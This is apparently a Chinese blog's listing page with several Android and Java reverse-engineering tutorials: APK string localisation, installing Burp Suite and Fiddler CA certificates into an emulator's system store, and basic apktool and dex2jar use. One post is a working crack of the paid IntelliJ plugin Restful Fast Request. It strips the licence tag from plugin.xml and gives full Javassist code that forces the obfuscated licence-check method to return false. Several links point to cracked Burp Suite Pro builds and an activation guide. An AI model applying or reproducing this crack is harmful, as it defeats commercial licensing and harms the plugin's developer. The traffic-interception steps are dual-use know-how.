汉化APK汉化:使用专门的工具对外文版的软件资源进行读取、翻译、修改、回写等一系列处理,使软件的菜单、对话框、提示等用户界面显示为中文,而程序的内核和功能保持不变,这个过程即为软件汉化基本上字符串都是在arsc里,建议一键汉化,然后再润色。少量没汉化到的字符串参考视频中的方法定位去逐个汉化。3.1 流程图这里还需要注意的是,如果要直装应用,那就应该先签名安装,看看是否有签名校验导致的闪退简单的汉化有三个分支Arsc汉化Xml汉化Dex汉化教程中还提到较为复杂的so层面的字符串资源3.2 Xml汉化汉化前:1.全局搜索文件内容Hello 52pojie2.字符常量池打开资源文件3.字符串编辑4.更新并自动签名5.完成3.3 Arsc汉化接着替换下方的俄文,使用开发者助手检索界面资源复制文本后再次使用MT管理器进行搜索Я не могу поверить, что это работает, почему?选择翻译模式定位到要翻译的字符串后进行编辑完成汉化3.4 dex汉化这次要替换掉 Reverse determines height, development determines depth.这段文本还是先搜索再在Dex编辑器++中搜索直接进行替换即可完成汉化四、修改应用名称和图标4.1 初识AndroidManifest.xmlAndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。它描述了package中暴露的组件,他们各自的实现类,各种能被处理的数据和启动位置。属性定义versionCode版本号,主要用来更新,例如:12versionName版本名,给用户看的,例如:1.2package包名,例如:com.zj.52pj.demouses-permission android:name=""应用权限,例如:android.permission.INTERNET 代表网络权限android:label="@string/app_name"应用名称android:icon="@mipmap/ic_launcher"应用图标路径android:debuggable="true"应用是否开启debug权限4.2 修改测试切换到NT管理器修改成功五、修改应用内图标对图中的表情包进行替换首先找到对应的布局文件,查看ImageView的资源ID:@7F0D000B使用Arsc编辑方式打开resources.arsc,搜索资源ID再去搜索first_img定位图片哦~原来first_img已经在对应资源图片了,那我直接修改它的映射关系改成D2.png完成引用1.《安卓逆向这档事》一、模拟器环境搭建:https://www.52pojie.cn/thread-1695141-1-1.html2.《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.52pojie.cn/thread-1695796-1-1.html3.吾爱破解安卓逆向入门教程《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.bilibili.com/video/BV18G411j7gV/?spm_id_from=333.788&vd_source=33cfe7dc102c64b5cac16bcfaad7f2a84.[更新!]适用于几乎所有安卓模拟器(7+)安装magisk的教程-简单无脑向:https://www.52pojie.cn/thread-1583586-1-1.html5.【VirtualAPP 双开系列08】如何实现多开 - UID:https://blog.csdn.net/u014294681/article/details/116270479
2023年07月23日
372 阅读
0 评论
0 点赞
2023-04-22
浅尝Restful Fast Request插件,一句话完成 逆向过程
浅尝Restful Fast Request插件,一句话完成 逆向过程本文根据吾爱破解论坛,作者:lvbuqing的帖子浅尝Restful Fast Request插件,一句话完成 逆向过程进行操作复现1.插件简介2.破解流程2.1 检测1-ide层根据Jetbrains官网插件开发文档了解到,付费插件的配置文件中都会有product-descriptor标签属性介绍属性名描述code销售系统中使用的插件产品代码,代码必须提前和Jetbrains约定好,按照要求来。release-date格式中主要版本发布的日期YYYYMMDDrelease-version特殊数字格式的主要版本安装完重新idea后会卡在,所以先解决这个第一层校验。1.找到插件的lib目录我使用的Toolbox,目录在:C:\Users\Administrator\AppData\Local\JetBrains\Toolbox\apps\IDEA-U\ch-0\231.8109.175.plugins\Restful Fast Request\lib该插件的关键jar包为:instrumented-restful-fast-request-pro-2023.1.3.2.jar2.直接使用压缩包打开jar文件,使用vscode编辑 META-INF\plugin.xml直接移除这一行。3.我们重新打开idea ,发现已经去掉了收费标识,,我们需要启用后重启2.2 检测2-插件层虽然功能键已经展示出来,但是点击后还是无法使用,会提示先激活插件。jar包解压,发现程序做了国际化,然后全局检索关键字得到关键key值为:ActivatePluginNeed使用Jadx对程序进行反编译后全局搜索关键key发现如下的调用继续查l11Il1III1111.l111I1llllI()这个方法也就是让这个方法返回false接下来的问题就是如何修改原来的jar文件中的字节码文件可以根据Javassist来实现3.JavassistJavassist (Java Programming Assistant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source-level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language. You can even specify inserted bytecode in the form of source text; Javassist compiles it on the fly. On the other hand, the bytecode-level API allows the users to directly edit a class file as other editors.3.1 什么是javassistjavassist是一个处理Java字节码的jar包,里面有很多类。3.2 什么是ClassPool可以想象成一个容器,里面放着指定路径下的class文件,使用javassist对类进行操作的时候,必须先创建一个ClassPool。它也可以暂时存放我们编辑的class文件,等写完后再拿出来放到指定的位置。我们对class文件的操作是在ClassPool中的进行的。假如我们想获取一个Class文件进行修改,如果ClassPool的路径中没有它,那么我们是找不到的,必须使用insertClassPath();函数将class文件路径导入ClassPool中才可以。如果我们不自定义路径,那么它的类的搜索路径包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径。3.3 什么是CtClassCtClass是javassist中的一个类文件,它的对象可以理解成一个class文件的抽象表示。一个CtClass对象可以用来修改一个class文件。4.Javassist实操修改字节码文件4.1 项目导包<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency>4.2 编写代码package com.lisok.test; import javassist.*; import java.io.IOException; public class HookMain { public static void hookMethod() throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); // jar包路径 pool.insertClassPath("D:\\Tools\\AndroidReverse\\instrumented-restful-fast-request-pro-2023.1.3.2.jar"); CtClass driverClass = pool.get("io.github.kings1990.plugin.fastrequest.cofig.l11Il1III1111"); CtMethod[] declaredMethods = driverClass.getDeclaredMethods(); CtMethod hookMethod = null; for (CtMethod declaredMethod : declaredMethods) { String name = declaredMethod.getName(); if (name.equals("l111I1llllI")) { hookMethod = declaredMethod; break; } } if (hookMethod != null) { System.out.println(hookMethod.getDeclaringClass()); hookMethod.setBody("return false;"); } driverClass.writeFile("writefile"); } public static void main(String[] args) { try { hookMethod(); } catch (NotFoundException | CannotCompileException | IOException e) { e.printStackTrace(); } } } 运行后项目会出现writefile目录,找到目标文件后,使用压缩包打开原jar文件进行替换即可。5.效果图引用1.浅尝Restful Fast Request插件,一句话完成 逆向过程:https://www.52pojie.cn/forum.php?mod=viewthread&tid=1776910&pid=46474186&page=1&extra=#pid464741862.Javassist by jboss-javassist:https://www.javassist.org/3.java中javassist、ClassPool、CtClass、Apache CC2链学习:https://blog.csdn.net/qq_41874930/article/details/1212736504.Javassist用法详解:https://www.jb51.net/article/205638.htm
2023年04月22日
3,391 阅读
28 评论
2 点赞
2022-11-27
APP渗透-HttpCanary/BurpSuite/Fiddler抓模拟器网络请求(解决系统级证书问题)
HttpCanary/BurpSuite/Fiddler抓模拟器网络请求(解决系统级证书问题)目标应用:学某通APP夜神模拟器使用的国际版 Google Drive:https://en.bignox.com/众所周知,假如设备是android 7.0+的系统同时应用设置targetSdkVersion >= 24的话,那么应用默认是不信任安装的Fiddler用户证书的,所以你就没法抓到应用发起的https请求,然后你在Fiddler就会看到一堆200 HTTP Tunnel to xxx.xxx.xxx:443的请求日志,这些都是没有成功抓取的https请求,下面重点介绍一下各种解决方案,相信总有一款解决方案适合你~一、BurpSuite1.1.配置代理监听192.168.0.106的为手动添加的本机IP,端口自定义为8888。1.2 开始导出证书1.3 证书转换证书创建完成,打开git bash 调用openssl对证书文件进行变动执行的命令:openssl x509 -inform DER -in PortSwiggerCA.crt -out PortSwiggerCA.pem openssl x509 -inform PEM -subject_hash_old -in PortSwiggerCA.pem|head -1 mv PortSwiggerCA.pem <hash>.01.4 将.0推送进模拟器系统级证书的存储路径为:/system/etc/security/文件夹用户级证书的存储路径为:/data/misc/keystore文件夹1.4.1 小白方法直接使用夜神模拟器的界面通过与主机共享文件夹的方式,将hash.0导入系统1.4.2 命令行方式1.切换到夜神模拟器安装目录.../Nox/bin处打开命令行# 1.进入adb shell,执行: .\nox_adb.exe shell # 2.开启模拟器/system读写权限,即以rw的方式 重新挂载/system mount -o remount -o rw /system # 3.证书文件推入模拟器 .\nox_adb.exe push 证书路径 /system/etc/security/cacerts2.出于安全考虑,事后要以readOnly方式重新挂载一下/system# 1.进入adb shell,执行: .\nox_adb.exe shell # 2.关闭模拟器/system写入权限,即以ro的方式 重新挂载/system mount -o remount -o ro /system1.5 验证是否成功模拟器:设置 > 安全 > 信任的凭据二、Fiddler一些基础配置就不说了,本文结束的引用文章中也有提及,可以参考重点描述解决SSL证书问题2.1 导出证书2.2 证书转换openssl x509 -inform DER -in FiddlerRoot.cer -out FiddlerRoot.pem openssl x509 -inform PEM -subject_hash_old -in FiddlerRoot.pem|head -1 mv FiddlerRoot.pem <hash>.02.3 将.0推送进模拟器2.3.1 小白方法1.打开主机的共享文件夹2.将转换后的证书拖入3.模拟器(已ROOT)使用mt管理器打开对应的文件夹,并将其复制到/system/etc/security/4.为了不出问题,再为269953fb.0赋予一下权限6442.3.2 命令行方式参考1.4.22.4 验证是否成功模拟器:设置 > 安全 > 信任的凭据三、Http Canary(小黄鸟)相比BurpSuite和Fiddler来说,配置最简单,但是分析的话也在手机上就不太方便了3.1 导出证书位置:设置 > SSL证书设置 > 导出HttpCanary根证书证书导出保存的目录为:HttpCanary/cert/<hash>.03.2 复制到系统级证书目录修改一下证书权限644,可参考2.3.1su chmod 644 87bc3517.03.3 验证是否成功emm,测试失败了可能是这个小黄鸟版本有些不对,导致默认的证书安装不了,无限弹图案验证好吧,有了BurpSuite和Fiddler能用也不在乎这只鸟了引用1.通过adb pull和adb push 手机与电脑之间传输文件:https://blog.csdn.net/Jackson_Wen/article/details/519311402.adb向手机写入文件,Read-only file system:https://blog.csdn.net/wlwh90/article/details/455616793.《Fiddler+夜神模拟器App抓包配置》:https://juejin.cn/post/70975253514373038384.Android 7.0+模拟器Fiddler抓包详细教程 :https://blog.csdn.net/qq_43278826/article/details/1242910405.BurpSuite v2022.12汉化无cmd框版(2022.11.26更新): https://www.52pojie.cn/thread-1544866-1-1.html6.BurpSuite激活教程:https://www.52pojie.cn/thread-1697625-1-1.html7.BurpSuite Pro 2022.11 : https://www.52pojie.cn/forum.php?mod=viewthread&tid=1709583&extra=&highlight=burp&page=18.Win32/Win64 OpenSSL Download : http://slproweb.com/products/Win32OpenSSL.html9.Fiddler抓包夜神模拟器 : https://blog.csdn.net/hsc93170/article/details/12611584610.Fiddler 抓包 Android :https://moeci.com/posts/2022/01/fiddler-android/11.Android 7.0 + 配置BurpSuite证书 https://blog.csdn.net/LeeHDsniper/article/details/107502428
2022年11月27日
578 阅读
0 评论
0 点赞
2022-04-05
apktool、dex2jar、jadx-gui的基本使用
1.apktool1.1 什么是ApktoolsA tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild them after making some modifications. It also makes working with an app easier because of the project like file structure and automation of some repetitive tasks like building apk, etc.一个用于第三方逆向工程的工具,封闭的,二进制的 Android 应用程序。它可以将资源解码为几乎原始的形式,并在进行一些修改后重新构建它们。它还使得使用一个应用程序更加容易,因为这样的项目像文件结构和自动化的一些重复性的任务,如构建应用程序等。It is NOT intended for piracy and other non-legal uses. It could be used for localizing, adding some features or support for custom platforms, analyzing applications and much more.它不是用于盗版和其他非法用途。它可以用于本地化、添加一些特性或支持自定义平台、分析应用程序等等。来源于:Apktool 官网:https://ibotpeaches.github.io/Apktool/1.2 配置环境下载Java并配置环境变量 (Apktool下载的是jar包,需要在命令行用Java调用)下载最新版的Apktool的jar包: https://bitbucket.org/iBotPeaches/apktool/downloads/测试目标 apk文件环境就绪1.3 使用步骤在CMD控制台输入 java -jar apktool.jar ,可以看到相关的使用命令的提示,d是反编译指令输入 java -jar apktool.jar d xxx.apk ,即可完成反编译得到的文件有manifest文件和res下的资源文件,还有smali文件(可理解为运行在JVM的语言)另外,直接修改.apk包后缀为.zip然后解压,也可以获取到app的相关资源文件,但xml文件是经过编译的机器码,而通过apktool可以得到未编译的xml文件。2.dex2jar2.1 什么是ApktoolsTools to work with android .dex and java .class files2.2 基本使用将测试的安装包xxx.apk后缀改为.zip,解压后拷贝classes.dex文件到dex2jar文件目录下,cmd进入改目录,执行dex2jar.bat classes.dex命令,会生成classes-dex2jar.jar文件3.待更新...4.后续计划学习Android开发的悬浮窗和HOOK技术,写 Frida Hook抖音获取无水印视频链接 + 实现获取抖音无水印地址的App 的文章!3.附注本文参考:android反编译:apktool和dex2jar使用:https://www.jianshu.com/p/e0661ff7d955dex2jar 和 jd-gui 的安装与使用:https://blog.csdn.net/katrinawj/article/details/80016315pxb1988/dex2jar - github : https://github.com/pxb1988/dex2jar
2022年04月05日
395 阅读
0 评论
1 点赞
1
2